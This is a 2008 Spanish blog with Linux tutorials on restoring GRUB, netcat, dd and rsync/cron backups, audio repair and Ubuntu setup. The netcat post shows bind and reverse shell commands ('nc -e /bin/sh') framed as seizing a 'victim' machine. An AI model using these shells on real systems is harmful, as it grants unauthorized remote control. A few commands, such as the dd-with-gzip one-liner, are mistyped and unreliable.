Usuario anónimo ¿Quieres tener tu propio blog?
Crear blog gratis en OboLog

Restaurar el GRUB

por banyut
miércoles, 12 de marzo del 2008 a las 21:29
guardado en
Hoy en el curro, me ha tocado reinstalar windows en un ordenador donde había instalados dos sistemas operativos, el otro es Ubuntu. Esto no es nada nuevo, ni es la primera vez que lo hago, pero hoy me he encontrado con algo que no me había pasado nunca. En principio no me ha supuesto muchos problemas, pero creo que si puede causarselo a más de uno, os paso a relatar.

Pues tal y como había hecho otras tantas veces, procedí a reinstalar Windows XP, a sabiendas de que este se cargaría el grub.

Una vez instalado y configurado el XP, procedí a restaurar el grub. Inicie el sistema con una live cd de ubuntu, una vez cargada accedí a la consola y empecé el proceso.

  • sudo fdisk -l

Al instalar XP, he formateado la partición, así que no está de más comprobar que tal tenemos la estructura del disco, a más nos sirve para recordar donde tenemos instalado nuestro ubuntu. En mi caso estaba delante de un disco de 80 Gb, particionado en dos, más el swap. Ubuntu lo tengo instalado en sda2.

Procedemos a montar la partición

  • sudo mkdir /media/ubuntu

  • sudo mount /dev/sda2 /media/ubuntu

El siguiente paso es marcar el nuevo directorio raíz.

  • sudo chroot /media/ubuntu

Y por último restauramos nuestro grub.

  • sudo grub-install /dev/sda2

Bueno, esto es tal y como lo había hecho otras tantas veces, pero SORPRESA!!!!!! esta vez no funcionaba, me decía que no existía sda2.

No perdamos la calma, paso a comprobarlo tecleando “sudo fdisk -l” y otra sorpresa, no detecta nada, que es lo que ha pasado?

Si os fijáis al cambiar el directorio raíz, nos cambio el prompt de la shell (en la consola) y claro ahora el directorio /dev que tenemos activo es el que acabamos de montar, no el que se cargo al iniciar el sistema.

El siguiente paso que se me ocurrió fue montar el dev dentro de la partición ubuntu, el problema apareció a la hora de ejecutar chroot, lanzaba un error. Así que investigando un poco más me encontré con la opción bind de la instrucción mount que me permitía redirigir un directorio hacia otro. Esta vez si que funcionó.

Para el que se haya perdido os pongo todos los pasos para la restauración del grub.

  1. sudo mkdir /media/ubuntu

  2. sudo mount /dev/sda2 /media/ubuntu

  3. sudo mount --bind /dev /media/ubuntu/dev

  4. sudo chroot /media/ubuntu

  5. sudo grub-install /dev/sda2

ya podemos reiniciar el sistema y a disfrutar de nuestro Ubuntu.

---

 

Si mantienes la calma cuando todos pierden la cabeza, sin duda es que no has captado el problema 

NetCat

por banyut
sábado, 08 de marzo del 2008 a las 17:20
guardado en

 NetCat o tambien conocido como nc.

Permite leer y escribir datos mediante sockets TCP y UDP. Tiene multitud de utilidades, aunque no es la herramienta ideal para todas ellas. En definitiva es una herramienta a tener muy en cuenta.

Que usos puede tener:

  • Escaneador de puertos

  • Sniffer

  • Comunicacion entre dos puntos

  • Envios de correo

  • Control remoto

  • FTP

Por supuesto, hay muchas mas utilidades de las mostradas aquí y las opciones que puede llegar a manejar son muchas más de las mostradas (man netcat), este tutorial, solo pretende abrir la curiosidad por este extraordinario comando.

un chat.

En la maquina A

nc -l -p port

En la maquina B

nc ip port

Esto nos permitirá enviar mensajes escritos de una maquina a otra. Podríamos utilizar dos conexiones, por una recibiríamos y por la otra mandaríamos nuestros mensajes.


Envío de ficheros.

Receptor

nc -l port > archivo

Emisor

nc ip port < archivo

La conexión se tendrá que cerrar manualmente, ya que esta no se corta de manera automática cuando finaliza la transferencia. Este método de transferencia es lento y no muy fiable, por lo tanto se desaconseja su uso.

Como escaneador de puertos

nc -v -w2 -z ip ports

nc -v -w2 -z www.terra.es 10-80

nc -v -w2 -z 192.168.1.150 80

-v: verbose, nos da información extra

-w: segundos que ha de pasar para que deje de intentar la conexión.

-z: no enviamos ningún dato a los puertos que escuchamos.

Sniffer

nc -vv -l ip port >logSnif.txt

Control remoto. (backdoor)

Nos permite tomar el control de otro equipo.

nc -l -p 1000 -e /bin/sh


Que hace? pues simplemente se pone a la escucha en el puerto 1000 y cuando se establezca la conexión, se ejecutara la instrucción /bin/sh

-l: se pone a la escucha. si ponemos -L se restaura la escucha al finalizar la conexión.

-p: puerto

-e: programa o ejecutable que correrá si se establece una conexión.

Como conectarnos?

nc -v ip -p 1000

Establecemos la conexión con nuestra víctima, En este momento estamos en posesión de su equipo. Probad a escribir alguno de estos comandos:

  • ls, dir

  • eject

  • espeak “hello, my darling”

Como veis tenemos el control del equipo víctima Este método tiene un inconveniente, y es que la ip de la víctima en caso de ser dinámica puede cambiar, así que utilizaremos el que se llama shell inversa, o sea que serà la víctima la que nos de su shell.

Ahora sera nuestra maquina la que pongamos a la escucha:

nc -vv -l -p puerto

y la víctima tendrá que ejecutar.

nc -e /bin/sh ip port

email, pop, etc.

nc proveedor.internet 25

nc proveedor.internet 110

Backups de Discos y Particiones

por banyut
sábado, 08 de marzo del 2008 a las 03:28
guardado en

Hoy trataremos el tema de las copias de seguridad de discos y particiones. Esto nos permitirá restaurar por completo nuestro sistema.

Corren por ahí muchas aplicaciones gráficas que nos permiten realizar esta función, pero nosotros le vamos a dar una oportunidad a nuestra querida consola, creedme realmente vale la pena.

Antes de empezar tenemos que tener en cuenta un par de cosas.

            sudo fdisk -l

           obtendremos una salida parecida a esta.

Disco /dev/sda: 30.0 GB, 30005821440 bytes
255 cabezas, 63 sectores/pistas, 3648 cilindros
Unidades = cilindros de 16065 * 512 = 8225280 bytes
Disk identifier: 0x00be00be

Disposit. Inicio    Comienzo      Fin      Bloques  Id  Sistema
/dev/sda1   *           1        1912    15358108+   7  HPFS/NTFS
/dev/sda2            1913        3573    13341982+  83  Linux
/dev/sda3            3574        3648      602437+   5  Extendida
/dev/sda5            3574        3648      602406   82  Linux swap / Solaris

Bien, fijemonos, tenemos sda y sdax donde x puede ser 1,2, 3 o 5. sda es el HD completo, este disco esta particionado, donde cada particion es sda1, sda2, sda3 y sda5. No hace falta decir que segun el sistema la "s" puede ser una "h" o la "a" cualquier otra letra.

 Por que digo esto, pues por una parte porque es bueno saberlo, y por otra porque podemos duplicar el disco completo o solo una partición del mismo. En nuestro caso lo haremos por separado.

Si recordamos los anteriores hilos, teniamos instalado el sistema operativo en sda1 y sdb lo habiamos particionado en 3.

  • sdb1 donde guardo la musica, las imagenes, pdf y iso.
  • sdb6 es donde tengo el home
  • sdb5 servidor apache, mysql, ftp, logs y backups diarios del Home.

La instruccion que usaremos para realizar nuestras clonaciones se llama dd, y su sencillez es tanta como su potencia.

Como siempre con man dd, tendremos una extensa documentación sobre esta instrucción,  de momento solo expondre lo más básico y suficiente para nuestro objetivo.

    clonación del disco completo sda.

        sudo dd if=/dev/sda of=sda.dd

    restauración del disco sda.

        sudo dd if=sda.dd of=/dev/sda

    clonación de la partición sda1.

        sudo dd if=/dev/sda1 of=sda1.dd

    restauración de la partición sda1.

        sudo dd if=sda1.dd of=/dev/sda1

Así de fácil, pero hay que saber alguna cosa mas, el disco que vayamos a copiar no tiene que esta montado. En la clonación del disco, hemos creado el archivo sda.dd, este lo hemos creado en el directorio donde ejecutamos la instrucción, tambien podiamos haber puesto una ruta.

    sudo dd if=/dev/sda of=/media/back/mi_copia.dd

La cosa no queda aquí, tambien podemos restaurar o mandar la copia a otro equipo mediante ssh, o comprimir el resultado para que este nos ocupe mucho menos.

    dd if=/dev/sda1 | rsh usuari@desti "gzip -9 > 20030220-backup-sda1.dd.gz"

Tambien podemos usar dd, para clonar cd's, diqueteras, usb, etc. Tiene tambien otra funcionalidad que nos resultará muy util, es poder realizar copias del MBR de nuestros discos.

    sudo dd if=/dev/sdb of=/media/backs/sda_mbr.dd bs=512 count=1

La restauración seria.

    sudo dd if=/media/backs/sda_mbr.dd of=/dev/sdb bs=512 count=1

Otra cosa que podemos hacer, imaginar que hemos borrado un archivo que queremos recuperar pero no nos interesa para nada restaurar toda la partición. En este caso procederia de la siguiente manera.

    mkdir mi_back

    sudo mount -o loop /media/backs/mi_dd mi_back

Hemos montado nuestra copia de seguridad en un directorio, donde podemos trabajar con ella de la manera que queramos, incluso modificarla a nuestro antojo. No os parece una pasada.

Bueno, continuemos, se ha dicho que para poder clonar el disco, este tiene que estar desmontado, pero como desmontamos la particion que alberga el SO. Pues facil, iniciamos el sistema con un live-cd.

Yo hago una copia de seguridad cada una o dos semanas y las hago de la partición donde tengo el sistema operativo y de todo el disco sdb (de sus particiones individualmente). Los backups resultantes los introduzco en un disco USB externo que tengo para tal fin.

Este es un proceso largo y lento, por lo tanto lo que hago es fabricarme un script que pongo en marcha justo antes de irme a dormir o a trabajar, de esta forma cuando vuelvo tengo realizadas todas mis copias de seguridad.  Os muestro mi script.

#!/bin/bash

sudo dd if=/dev/sdb of=sdb_mbr.dd bs=512 count=1

sudo dd if=/dev/sdb5 of=sdb5.dd

sudo gzip -9 sdb5.dd

sudo rm sdb5.dd

sudo dd if=/dev/sdb6 of=sdb6.dd

sudo gzip -9 sdb6.dd

sudo rm sdb6.dd


sudo dd if=/dev/sdb1 of=sdb1.dd

sudo gzip -9 sdb1.dd 

sudo rm sdb1.dd

Este script se podria simplificar, lo he puesto así por claridad y para que os sea mas facil cambiarlo, lo que hace es clonar la particion, luego la comprime para que ocupe menos y por ultimo borra el archivo sobrante.

Estas tres lineas las podriamos simplificar en una sola. 

    sudo dd if=/dev/sdb6 !gzip -9 >sdb6.dd 

Que cada uno eliga lo que mas le guste, pensar que el hecho de comprimirlo hace que dure el doble de tiempo y otra cosa, os recuerdo que teneis que darle permiso de ejecucion al archivo para que se pueda ejecutar.

    chmod +x backup_sdb.sh

Pues lo dicho la idea es arrancar con un live-cd, conectar el HD externo, entrar en el directorio donde se han de guardar las copias y ejecutar el script. 

Y ya tenemos montado a prueba de bombas nuestro sistema.

Espero que os sea útil.

-----

Hay 10 clases de personas, las que saben binario y las que no. 

Restaurar el audio en UBUNTU

por banyut
martes, 04 de marzo del 2008 a las 13:53
guardado en

Hay veces que sin saber que es lo que hacemos exactamente, nos cargamos el audio del sistema, no se que narices pasa, pero por mas instalaciones y reinstalaciones que se hagan no hay forma de que nuestro UBUNTU nos vuelba a hablar.

Pues bien, he aquí la solución.  Lo que hacemos es reinstalar los drivers dejandolos tal y como estavan cuando se instalo el sistema operativo.

sudo aptitude install module-assistant build-essential

sudo module-assistant prepare,update

sudo module-assistant build,install alsa

sudo depmod 

Ya solo nos queda reiniciar y voila, sonido perfectamente instalado.

Hay que tener en cuenta que hace falta tener instaladas ciertas librerias como por ejemplo alsa-source, pero no os preocupeis, el programa os indicara que librerias os faltan, solo hay que instalarlas (sudo aptitude ....) y listo. 

----- 

hay 10 tipos de hombres, los que saben binario y los que no.

Copias de seguridad en UBUNTU (crontab, rsync, dd)

por banyut
lunes, 03 de marzo del 2008 a las 00:44
guardado en

Hoy abordaremos el tema de las copias de seguridad. El objetivo es montar dos tipos de copias, por una parte haremos backups de ficheros y directorios, esto nos permitirá poder restaurar archivos o directorios de manera individual. El otro tipo de copia nos permitirá recuperar nuestro sistema en caso de urgencia.

Backup de directorios y ficheros

Se trata de hacer un backup de todos los archivos de nuestro usuario. A demás, mantendremos un histórico de backups, haremos una copia diaria (lunes, martes, miércoles, etc .), cada lunes machacaremos la copia del lunes anterior y así con todos los días.

El procedimiento es sencillo, elegiremos los directorios y ficheros de los que queremos hacer el backup, y los copiaremos.

    cp -rp ~/banyut /media/sdb5/backup/domingo

Es totalmente funcional, pero la verdad es que no es eficiente, el problema está en que cada lunes nos hará una copia completa de todos los archivos que tenemos en el directorio, cuando lo que seria deseable es que solo copiara los modificados o los creados des del último backup.

No hay problema, tenemos otra instrucción que nos ofrece esta funcionalidad.

    rsync -altgvbp /home/banyut /media/sdb5/backup/domingo

Hoy no explicaré el comando rsync ni sus opciones, si alguien tiene alguna duda primero que consulte “man rsync” y después que pregunte.

Bueno, ya tenemos la instrucción que nos permite poder realizar nuestra copia. El siguiente paso es que estas se realicen de manera automática, para ello utilizaremos otra instrucción que nos ofrece el sistema crontab.

Crontab nos permite ejecutar aplicaciones en un momento determinado, una única vez o de manera recurrente. En un principio puede parecer algo liosa pero en realidad es muy fácil de usar.

    crontab -e

Esta instrucción nos permite editar el archivo /etc/crontab, en el que programaremos las instrucciones que queremos ejecutar.

Cada linea de este archivo esta formada por 7 columnas

  1. Minutos (de 0 a 59)
  2. Horas (de 0 a 23)

  3. Dia (de 1 a 31)

  4. Mes (de 1 a 12)

  5. Dia de la semana (de 0 a 7, donde 0 o 7 es domingo)

  6. usuario (opcional)

  7. orden a ejecutar

Un asterisco en cualquiera de las primeras 5 columnas indica todos, es decir si queremos que algo se ejecute todos los meses en la columna del mes podremos un asterisco.

En realidad es un poco mas complejo pero por el momento ya nos vale así.

Como funcionan estas columnas.

    5 * * * * se ejecutara el minuto 5 de cada hora todos los días.

    0 2 * * * a las 2:00H en punto cada día.

    0 2 * * 0 a las 2:00h todos los domingos del año.

    * 5 * * 1 todos los minutos de las 5:00 a 5:59 de todos los lunes.

    2 * 10 4 * el minuto dos de cada hora el dia 10 de abril de cada año.

    0 3 * * 6 a las 03:00 horas de todos los sábados

En cada una de estas columnas podemos poner más de un valor, o incluso un rango, esto se hace separando cada valor mediante una coma o un rango mediante un guión.

Así en la columna día de la semana podemos poner 1,3,5 que indicara que se ejecute los lunes, miércoles y viernes. O en la columna mes para indicar la primera quincena podemos poner 1-15.

Esto aún podemos complicarlo un pelín más, tenemos otra operación el símbolo “/”, que indica un incremento, por ejemplo, si en la columna minutos ponemos */15 se ejecutará cada 15 minutos, o si en la columna dias ponemos 1-10/2, se ejecutará los dias 1,3,5,7 y 9.

Por último un ejemplo más complejo.

    0 */2 1-15,23,28-31 * 0,6

Se ejecutara cada dos horas los días 1 al 15,el 23, 28, 29, 30 y 31 de todos los meses pero solo cuando sean sábado o domingo.

Ala, como se os ha quedado el cuerpo!!!!

 

Sabiendo esto, ahora podremos conseguir que nuestros backups se ejecuten de manera automática.

Después de teclear crontab -e añadiremos las siguientes lineas.

    0 1 * * 0 instrucción_lunes

    0 1 * * 1 instrucción_martes

    0 1 * * 2 instrucción_miercoles

    0 1 * * 3 instrucción_jueves

    0 1 * * 4 instrucción_viernes

    0 1 * * 5 instrucción_sabado

    0 1 * * 6 instrucción_domingo

Con esto conseguiremos que se ejecute cada día a las 01:00 horas las instrucciones indicadas. Podemos substituir “instrucción_******” por la orden rsync arriba descrita.

De todas formas lo haremos un pelín más completo, crearemos un script para cada día de la semana, además recogeremos un log.

Empezaremos creando los directorios necesarios.

    mkdir ~/.crono_bak

    cd ~/.crono_bak

 

Dentro del directorio que acabamos de crear, crearemos siete ficheros mas llamados lunes.sh, martes.sh, ..., domingo.sh y en su interior pondremos lo siguiente.

#!/bin/bash

pathLog="/media/sdb5/backup/logLunes.log"

echo ----------------------------------------------------------------------- >> $pathLog

echo ---INICI COPIA SEGURETAT LUNES >> $pathLog

date >> $pathLog

echo ----------------------------------------------------------------------- >> $pathLog

echo -- Iniciem Sincronització directori /home/monti >> $pathLog

rsync -altgvb /home/monti /media/sdb5/backup/sistema/lunes >> $pathLog

echo ----------------------------------------------------------------------- >> $pathLog

echo -- Sincronització Finalitzada >> $pathLog

date >> $pathLog

echo ----------------------------------------------------------------------- >> $pathLog

Este código es el que corresponde al script del lunes, para los otros seis haremos lo mismo pero substituyendo Lunes por el día de la semana concreto.

El script ejecuta la instrucción rsync, el resto de las lineas lo que hacen es generar un fichero log.

Una vez creados los siete ficheros, tendremos que darles permiso para poder ejecutarlos.

    chmod +x *.sh

Para que se ejecute todos los dias a la 1 de la mañana, nuestro crontab quedará así.

# m h dom mon dow command

0 1 * * 1 /home/banyut/.crono_back/lunes.sh >>/media/sdb5/backup/logcrono.log

0 1 * * 2 /home/banyut/.crono_back/martes.sh >>/media/sdb5/backup/logcrono.log

0 1 * * 3 /home/banyut/.crono_back/miercoles.sh >>/media/sdb5/backup/logcrono.log

0 1 * * 4 /home/banyut/.crono_back/jueves.sh >>/media/sdb5/backup/logcrono.log

0 1 * * 5 /home/banyut/.crono_back/viernes.sh >>/media/sdb5/backup/logcrono.log

0 1 * * 6 /home/banyut/.crono_back/sabado.sh >>/media/sdb5/backup/logcrono.log

0 1 * * 0 /home/banyut/.crono_back/domingo.sh >>/media/sdb5/backup/logcrono.log

 

Por su puesto, la ruta /media/sdb5/backup/sistema/ tiene que existir y en su interior tiene que haber 7 directorios llamados lunes, martes, etc.

bueno, ya se que el script es muy mejorable y que se podria haber hecho con un solo fichero en vez que con siete, pero creo que para empezar ya esta bien así.

Para poder revisar nuestra programación ejecutaremos:

    crontab -l

He dado por hecho que el demonio cron esta activado, para comprobar esto podemos ejecutar.

    ps -ef | grep crontab

En caso que no este en marcha lo iniciaremos de la siguiente forma

    sudo /etc/init.d/cron start

Por último para ver si se ha ejecutado bien podemos mirar el log que hemos creado en /media/sdb5/backup/logcrono.log podemos mirar los logs del dia en concreto dentro de la carpeta /media/sdb5/backup/*****.log,tambien podemos ver cuando se ha ejecutado nuestro crontab consultando el log del systema.

    cat /var/log/syslog |grep crontab

Bueno, ya esta bien por hoy, mas tarde seguiremos con la segunda parte.

 

 

---

La inteligencia me persigue, pero ... yo soy más rapido 

INSTALACION Y PUESTA A PUNTO DE UBUNTU

por banyut
domingo, 24 de febrero del 2008 a las 21:53
guardado en

Una de las cosas que eche de menos cuando empecé a usar linux, fue como ponerlo a punto, si bien la instalación me resultó sencilla, no fue así con su uso posterior y puesta a punto.

Tenia claro porque me había pasado a linux, por ideologia. Yo no puedo decir nada malo de windows, lo he acompañado prácticamente desde su nacimiento, instalando y probado todas sus versiones, y ninguna de ellas me ha dado más problemas de los que me da ubuntu.

He de reconocer que si solo trabajamos con consola no hay comparación, linux supera en todos los aspectos a windows, ahora en el momento en que entramos en modo gráfico, los dos fallan por igual.

Uno de los factores clave para que la peregrinación hacia ubuntu sea lo menos traumática posible, es mentalizarnos que si bien haremos lo mismo, no con los mismos programas. Aunque se pueda, no tiene sentido, quizás con alguna excepción, pasarme a linux y querer usar internet explorer, word, excel, etc.

Todos estos programas tienen sus homólogos en ubuntu, que podremos instalar en la mayoría de los casos de manera gratuita (yo solo busco soluciones libres y gratuitas) y sin perder ninguna funcionalidad. Este es el primer problema de cara al recién llegado, conocer que programas ha de usar en cada caso.

Manos a la obra.

Una vez tenemos cargada la versión live, activaremos los repositorios universe y multiverse:

Sitema -> Administracion ->Gestor de paquetes Synaptic.

y dentro del programa pulsamos en el menu

Configuración -> Repositorios

En la pestaña Sofware Ubuntu, activaremos todos los checkbox que hay y cerraremos. Ahora actualizaremos estos cambios, en el Gestor de paquetes Synaptic pulsaremos sobre el icono recargar, una vez finalizado ya podemos cerrar y pulsar sobre el icono instalar.

Por lo que respecta a la instalación no creo que haga falta ninguna aclaración, pues es bastante intuitiva y prácticamente se realiza de manera automática. Tal vez el único punto en el que me encontré que me llego a asustar un poco fue, en la creación de las particiones.

Este punto depende de diversos factores, como el número de discos disponibles, la existencia de otros sistemas operativos, si ya esta particionado o no, así que me limitaré a dar un par de consejos.

  • Crear una partición para ubicar linux (tipo ext3, punto montaje /), no hace falta que sea muy grande, con unos 50 GB es suficiente, yo en mi caso particular le he dado 80GB.

  • Crearemos una segunda partición (tipo ext3), el tamaño será según el uso que se le vaya a dar, en ella guardaremos los perfiles de los usuarios. En mi caso creo que con 100GB tengo mas que suficiente.

  • Crearemos una partición para el swap (tipo linux-swap), esta es una partición que usara el sistema operativo para trabajar. En principio se recomienda una proporción de 2x1 respecto a la memoria ram existente. Pero bueno, a partir de cierta cantidad de memoria ram, este espacio ni se usa, aun así yo tengo 2GB de RAM y le he dado un tamaño de 6 GB a la particion, y es más, luego desactivo su uso.

  • Creamos otra partición donde tendremos la música, películas y otras descargas, también será de tipo ext3, y de un tamaño superior al resto, en mi el resto del espacio disponible.

Si se tiene más de un disco instalado, lo más idóneo seria instalar linux y swap en un disco y las otras particiones en el otro. Si este es tu caso, crea solo la partición para linux y el swap, el resto de particiones los crearemos después de instalar el sistema.

Seguimos con la instalación, una vez finalizado y reiniciado el equipo, veremos que el sistema nos informa que hay actualizaciones disponibles. Las instalaremos, este proceso puede durar algo más de una hora(mi conexión no da para más), así que las instalaremos y nos iremos a tomar un cafelito.

Gestor de controladores restringidos

Una vez finalizadas las actualizaciones tendremos que reiniciar el sistema. Ahora comprobaremos que no tenemos ningún controlador restringido para activar, si es así, el mismo sistema no lo hará saber, de todas maneras lo comprobaremos.

Sistema ->Administración ->Gestor de controladores restringidos

Habilitaremos todos los dispositivos que nos salgan, si no nos sale ninguno pues nada se cierra y ya está. Se descargaran los drivers correspondientes y reiniciaremos nuevamente el sistema.

Usuari root

El siguiente paso será cambiar la contraseña del root, para ello iremos a:

Sistema -> Administración -> Usuarios y Grupos

Haremos doble clic sobre root y estableceremos la contraseña que deseemos.

Soporte de idiomas

Ahora procederemos a instalar el soporte de idiomas.

Sistema -> Administración ->Soporte de idiomas

Nos dirá que el soporte para idiomas no esta instalado, así que le daremos a instalar, esperaremos a que se descargue y se instale (un par de minutos).

Una vez finalizado, elegiremos los idiomas que queremos para nuestras aplicaciones, en mi caso, Spanish y Catalan.

Aceptaremos y esperaremos nuevamente a que se terminen de descargar, cuando finalice la descarga tendremos que volver a reiniciar el sistema.

Aceleración Gráfica

Ahora comprobaremos que tengamos correctamente instalada la aceleración gráfica y en mi caso habilitaré los dos monitores que tengo, para que funcionen como si fuera un único escritorio.

Trabajaremos mucho con la consola, por lo que tener un link que nos permita un acceso rápido a esta será ideal. Iremos a:

Aplicaciones -> Accesorios -> Terminal

Pulsaremos sobre el y lo arrastraremos a la barra que hay en la parte superior de la pantalla, consiguiendo así nuestro acceso directo.

Vamos a modificar nuestro primer archivo de configuración, por lo tanto lo primero que haremos será hacer una copia de seguridad de el. Entraremos en consola (pulsando sobre nuestro recién creado acceso directo) y en ella escribiremos el siguiente comando.

sudo cp /etc/X11/xorg.conf /etc/X11/xorg.conf.original

Ahora comprobaremos que tenemos correctamente instalada la aceleración gráfica. ejecutaremos el siguiente comando.

glxinfo |grep direct

nos tiene que dar una salida como esta.

direct rendering: yes

Ahora teclearemos.

glxgears

Se nos abrirá una ventana con unos engranajes girando. Se tienen que mover de manera fluida incluso si ampliamos la ventana.

6635 frames in 5.0 seconds = 1326.991 FPS

Esta salida varia según el tamaño de la ventana.

Bueno si hasta aquí todo esta bien, es que tenemos correctamente instalada la aceleración gráfica, en caso de que nos haya fallado algo, significa que no están correctamente instalados los drivers de la tarjeta gráfica, por lo que tendréis que instalar los drivers de forma manual.

Compiz fusion

Instalaremos el compiz-fusion, por defecto ya esta parcialmente instalado, pero nos aseguraremos y instalaremos lo que falta.

sudo aptitude install compiz-gnome compiz-gtk compizconfig-settings-manager compiz-fusion-plugins-extra compiz-fusion-plugins-main emerald

No es necesario, pero si preferible reiniciar el sistema.

Configuraremos Compiz.

Sistema->Preferencias->Avanced Desktop Effects Settings

Esto es muy personal, contra gustos colores, yo os indico como me gusta a mi y a partir de ahí vosotros decidis.

En Accessibility activamos:

    Enhanced Zoom Desktop i Negative

En Desktop

Cubo de escritorio,Expo, Girar cubo, Show desktop,viewport Switcher.

En Effects.

Animations, Cube Reflection, Decoración de ventanas, Desvanecer ventanas, Trailfocus, Ventanas gelatinosas.

En Extras.

    Benchmark, screenshot, windows Previews

En Image Loading

JPEG, Png, Svg, Text

En Utility

Cube Caps, Dbus, Glib, Regex Matching, Resize info, Video Playback Workarounds

En Windows Management.

Colocar ventanas, conmutador de aplicaciones, Escalar, Extra VM Actions, Group and Tab Windows (excelente, mi preferido), Mover ventana, Ring Switcher, shift switcher, window Rules.

En Uncategorized

Cambiar el tamaño de la ventana.

Bien nuestra selección ya está hecha, ahora configuraremos Animations dentro de Effects.

Se trata de añadir en todos la opcion Random y ponerla en la primera posicion, esto lo haremos en las pestañas Close Animations, Minimize Animation, Open Animation i Shade Animation.

Ahora activaremos todos estos efectos.

Sistema -> Preferencias ->apariencia

Pestaña Efectos visuales y seleccionaremos Personalizado. Ya podemos cerrar.

Ya tenemos el compiz-fusion correctamente instalado. Luego tunearemos un pelin más nuestro sistema.

Monitor dual

Editamos el /etc/X11/xorg.conf

En Section “ServerLayout” substituimos la linia donde pone screen por estas dos

screen 0 “Default Screen” 0 0

screen 1 “Esquerra” LeftOf “Default Screen”

Ahora vamos a Section “Screen” y añadimos estas dos lineas (debajo de Defaultdepth por ejemplo)

Option “TwinView” “true”

Option “TwinViewOrientation” “LeftOf”

duplicamos (copiar y pegar) la Section “Screen” y hacemos los siguientes cambios.

Identifier “Esquerra”

Device “Esquerra”

Monitor “Esquerra”

y eliminamos la linea

Option “TwinViewOrientation” “left0f”

Ahora localizamos la Section “Device” y añadimos la siguiente linea.

Screen 0

Duplicamos esta seccion y aplicamos los siguientes cambios.

    Identifier “Esquerra”

    Screen 1

Ahora duplicaremos la seccion “Monitor” y aplicaremos el siguiente cambio.

    Identifier “Esquerra”

reiniciaremos el sistema (tambien puede funcionar con ctrl+Alt+Retroceso) y todo listo.

Aplicaciones básicas

instalaremos las siguientes aplicaciones.

1. Editor de particiones

sudo aptitude install gparted

2. Wine, emulador o no, de programas windows.

sudo aptitude install wine wine-utils

3. Gestor de correo

sudo aptitude install thunderbird

4. Programas de grabacion y ripeo

sudo aptitude install k3b libk3b2 libk3b2-mp3 k3b-i18n lame

- otro programa, yo aun no me he decidido por cual usar.

sudo aptitude install brasero

5. Archivos comprimidos

sudo aptitude install rar unrar

6. Abrir consola en un directorio concreto

sudo aptitude install nautilus-open-terminal

Mapear directorios

Una buena práctica que me ha salvado de muchos dolores de cabeza, es separar los archivos propios del sistema operativo de los del usuario, de manera que si tenemos algún problema podemos reinstalar sin preocuparnos de perder nada.

Se trata de ubicar ciertos directorios en una partición diferente a la del sistema operativo. En nuestro caso serán:

    -home: directorio con la información de todos los usuarios.

    -www i FTP: directorio donde albergaremos nuestra pagina web.

    -logs: directorio de logs del sistema.

En mi caso tengo dos discos duros que distribuiré de la siguiente manera.

    sda1 --> linux (80Gb)

    sda2 --> swap (6Gb)

El disco duro es de 300GB, no me gustan las particiones demasiado grandes así que lo particionare en dos más.

Abrimos el gparted, desde consola tecleando sudo gparted o desde el menu Sistema->Administracion->Editor de particiones.

Esta aplicación nos muestra los discos que tenemos en nuestro sistema, yo tengo dos discos sata de 300 Gb, llamados sda y sdb.

En mi caso, con un disco virgen, y las particiones que he indicado arriba, me muestra que tengo sin particionar 218 Gb. Con este espacio crearé dos particiones más.

Seleccionaré la parte sin asignar y haremos clic sobre nuevo, en crear como pondremos “Particion Extendida” y en tamaño podremos el maximo permitido y daremos a añadir.

Este ultimo paso se puede omitir, en windows si que es necesario, aquí creo que no, la verdad si alguien lo sabe me vendría bien que me lo dijeran, la ultima vez que lo instalé lo hice sin este paso y al poco tiempo tuve problemas con las particiones, se me cascaron todas, no se si tiene que ver o fue simple casualidad, pero por probar no creo que pase nada.

Seleccionamos la partición que acabamos de crear y le damos nuevamente al icono Nuevo.

    Crear como: Particion Logica

    Sistema de ficheros: ext3

    Tamaño nuevo: 100000

Repetimos este paso y en tamaño escogemos el máximo disponible.

Como he dicho tengo 2 discos, con el segundo hago exactamente lo mismo, creando tres particiones iguales.

Aplicamos los cambios haciendo clic en el menú sobre:

Editar -> Aplicar todas las operaciones

La estructura de discos que me ha quedado es la siguiente.

    Disco 1

        sda1 --> linux (ext3 80Gb)

        sda2 --> swap (ext3 6Gb)

        sda3 --> extendida (contenedor)

        sda5 --> (ext3 97 Gb)

        sda6 --> (ext3 120 Gb)

    Disco 2

        sdb1 -->(ext3 146 Gb)

        sdb2 --> extendida (contenedor)

        sdb5 -->(ext3 97 Gb)

        sdb6 -->(ext3 35 Gb)

Utilizare la sdb6 para guardar las configuraciones de los usuarios y sus descargas, en mi caso somos 3, y que le de un uso importante yo solo, al menos en este ordenador. Es especialmente pequeña por un motivo, me obliga a tener controlado lo que almaceno y lo que guardo.

La sdb5 sera usada para los logs dels sistema y albergar los servidores web, ftp y mysql. También guardaremos aquí los backups del sistema.

En la sdb1 tendremos la musica, y otros archivos multimedia, estos ultimos de manera provisional, ya que dispongo de un disco externo en el que solo guardo mis divx.

Bien empezemos, desde consola ejecutaremos los siguientes comandos

cd /

sudo cp /home/ /media/sdb6/

sudo mv /home /_home

sudo ln -s /media/sdb6/home home

 

cd /media/sdb6

sudo mkdir downloads

sudo chown banyut downloads

sudo chgrp banyut downloads

sudo chmod 777 downloads

mkdir downloads/famili

mkdir downloads/FireFox

Ya tenemos separado el sistema operativo de las cuentas de los usuarios. La de downloads es donde se guardaran lo que bajemos de internet, famili sera una carpeta compartida con el resto de equipos de la casa y FireFox sera la carpeta por defecto de descarga de firefox.

Ahora nos iremos a sdb1 y crearemos el directorio mp3, directorio donde guardaremos toda la música y daremos permisos al resto de usuarios para su uso.

Desde consola:

cd /media/sdb1

sudo mkdir mp3

sudo chown banyut mp3 #cambia el propietario

sudo chgrp banyut mp3 #cambia el grupo

sudo chmod 755 mp3 #establece los permisos

 

Hemos creado un directorio llamado mp3, y hemos dado permisos de lectura al resto de usuarios, nosotros seremos los únicos que podremos escribir en el (banyut, es mi usuario).

Si hemos instalado la distro gutsy, nos ha creado un directorio llamado música, pues dentro de este pondremos una acceso directo a nuestro almacén musical.

cd ~/Música/

ln -s /media/sdb1/mp3 MP3

En sdb5 crearemos la carpeta log

sudo mkdir /media/sdb5/var

sudo cp -rp /var/log media/sdb5/var/log

sudo mv /var/log /var/_log

sudo ln -s /media/sdb5/var/log /var/log

Otra para mis logs (exemp. los del vim)

sudo mkdir /media/sdb5/logs

sudo chown banyut logs

sudo chgrp banyut logs

sudo chmod 700 mp3

 

Tambien crearemos una capeta donde guardaremos nuestros backups.

sudo mkdir /media/sdb5/backup

Otra donde guardaremos nuestros archivos encriptados

sudo mkdir /media/sdb5/privado

Bueno, más tarde seguiremos definiendo nuestra estructura, ahora seguimos con la instalación.

